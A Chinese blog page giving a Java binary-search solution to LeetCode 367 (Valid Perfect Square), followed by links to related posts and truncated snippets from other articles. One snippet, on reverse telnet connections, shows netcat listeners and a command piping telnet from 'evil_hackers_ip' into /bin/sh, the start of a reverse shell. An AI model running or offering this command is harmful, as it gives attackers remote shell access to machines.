【leetcode】367. Valid Perfect Square
题目描述:
Given a positive integer num, write a function which returns True if num is a perfect square else False.
解题分析:
这种找数字的题一般都用类似与二分查找的算法。需要注意的是比较平方和时考虑到integer溢出的情况。所以这个结果是要用Long类型保存。由此到来的改变是判断相等时要用“equals()”方法,而不是“==”。
实现代码:
- public class Solution {
- public static boolean isPerfectSquare(int num) {
- if(num==1||num==4)
- return true;
- if(num<=0||num==2||num==3)
- return false;
- int from=0;
- int to=num;
- while(from<=to){
- int mid = (from+to)/2;
- Long result = (long)mid * (long)mid;
- if(result.equals(Long.valueOf(num+"")))
- return true;
- if(result<num){
- from=mid+1;
- }
- if(result>num){
- to=mid-1;
- }
- }
- return false;
- }
- }
【leetcode】367. Valid Perfect Square的更多相关文章
- 【LeetCode】367. Valid Perfect Square 解题报告(Java & Python)
作者: 负雪明烛 id: fuxuemingzhu 个人博客: http://fuxuemingzhu.cn/ 目录 题目描述 题目大意 解题方法 方法一:完全平方式性质 方法二:暴力求解 方法三:二 ...
- 【easy】367. Valid Perfect Square 判断是不是平方数
class Solution { public: bool isPerfectSquare(int num) { /* //方法一:蜜汁超时…… if (num < 0) return fals ...
- 【LeetCode】422. Valid Word Square 解题报告(C++)
作者: 负雪明烛 id: fuxuemingzhu 个人博客:http://fuxuemingzhu.cn/ 目录 题目描述 题目大意 解题方法 拼接出每一列的字符串 日期 题目地址:https:// ...
- Python 解LeetCode:367. Valid Perfect Square
题目描述:给出一个正整数,不使用内置函数,如sqrt(),判断这个数是不是一个数的平方. 思路:直接使用二分法,貌似没啥好说的.代码如下: class Solution(object): def is ...
- 【LeetCode】593. Valid Square 解题报告(Python)
[LeetCode]593. Valid Square 解题报告(Python) 作者: 负雪明烛 id: fuxuemingzhu 个人博客: http://fuxuemingzhu.cn/ 题目地 ...
- 367. Valid Perfect Square
原题: 367. Valid Perfect Square 读题: 求一个整数是否为完全平方数,如1,4,9,16,……就是完全平方数,这题主要是运算效率问题 求解方法1:812ms class So ...
- 【LeetCode】36. Valid Sudoku 解题报告(Python)
[LeetCode]36. Valid Sudoku 解题报告(Python) 作者: 负雪明烛 id: fuxuemingzhu 个人博客: http://fuxuemingzhu.cn/ 题目地址 ...
- 【LeetCode】678. Valid Parenthesis String 解题报告(Python)
[LeetCode]678. Valid Parenthesis String 解题报告(Python) 标签(空格分隔): LeetCode 作者: 负雪明烛 id: fuxuemingzhu 个人 ...
- [LeetCode] 367. Valid Perfect Square 检验完全平方数
Given a positive integer num, write a function which returns True if num is a perfect square else Fa ...
随机推荐
- [每日一题] OCP1z0-047 :2013-08-26 TIMESTAMP WITH LOCAL TIME ZONE....................112
正确答案:C 使用TIMESTAMP WITH LOCAL TIME ZONE数据类型,用户插入数据时,oracle将会把用户的数据结合用户session的时区信息自动换算成数据库设定的时区的时间进行 ...
- [C++基础]C++中静态成员函数如何访问非静态成员
#include <iostream> /* 静态成员函数只能访问静态数据成员.静态成员函数和类以外的函数和数据,不能访问非静态数据成员,但静态成员函数或静态数据成员可由任意访问许可的函数 ...
- 反向telnet连接
首先使用nc工具进行监听: nc -l -n -v -p 80 nv -l -n -v -p 25 然后: /bin/telnet evil_hackers_ip 80 | /bin/sh | /bi ...
- javascript 事件相关
1.添加事件 >基本注册方式 <button id="info">click me!</button> var span = document.get ...
- Action 和 Func
C# 中的两个动态委托类型 也就是说我们不用在使用委托的时候就去声明一个委托对象,而是通过Action和Func就可以模拟出我们自己要用到的委托 区别: Action 表示没有返回值的委托 例如:A ...
- Python--动态类型
函数的参数传递,本质上传递的是引用.比如说: def f(x): x = 100 print x a = 1 f(a) print a 输出结果为: 100 1 参数x是一个新的引用,指向a所指的对象 ...
- QT核心编程之Qt线程 (c)
QT核心编程之Qt线程是本节要介绍的内容,QT核心编程我们要分几个部分来介绍,想参考更多内容,请看末尾的编辑推荐进行详细阅读,先来看本篇内容. Qt对线程提供了支持,它引入了一些基本与平台无关的线程类 ...
- ls 显示目录和文件的技巧
摘自 http://hi.baidu.com/zaoyuan1217/blog/item/fd69575660366b4fd10906b9.html 要列出当前目录下所有的文件名和目录名直接使用ls命 ...
- tachyon 集群安装
tachyon的集群安装和单机安装差别不大 http://www.cnblogs.com/admln/p/tachyon-local-install.html 不同的地方 1.修改slaves时填入所 ...
- [转]Android中内存占用的含义:(VSS,PSS,RSS,USS)
Android中内存占用的含义:(VSS,PSS,RSS,USS) 作者: andforce 分类: 安卓系统 发布时间: 2013-09-07 00:03 ė1,915 浏览数 6没有评论 在eng ...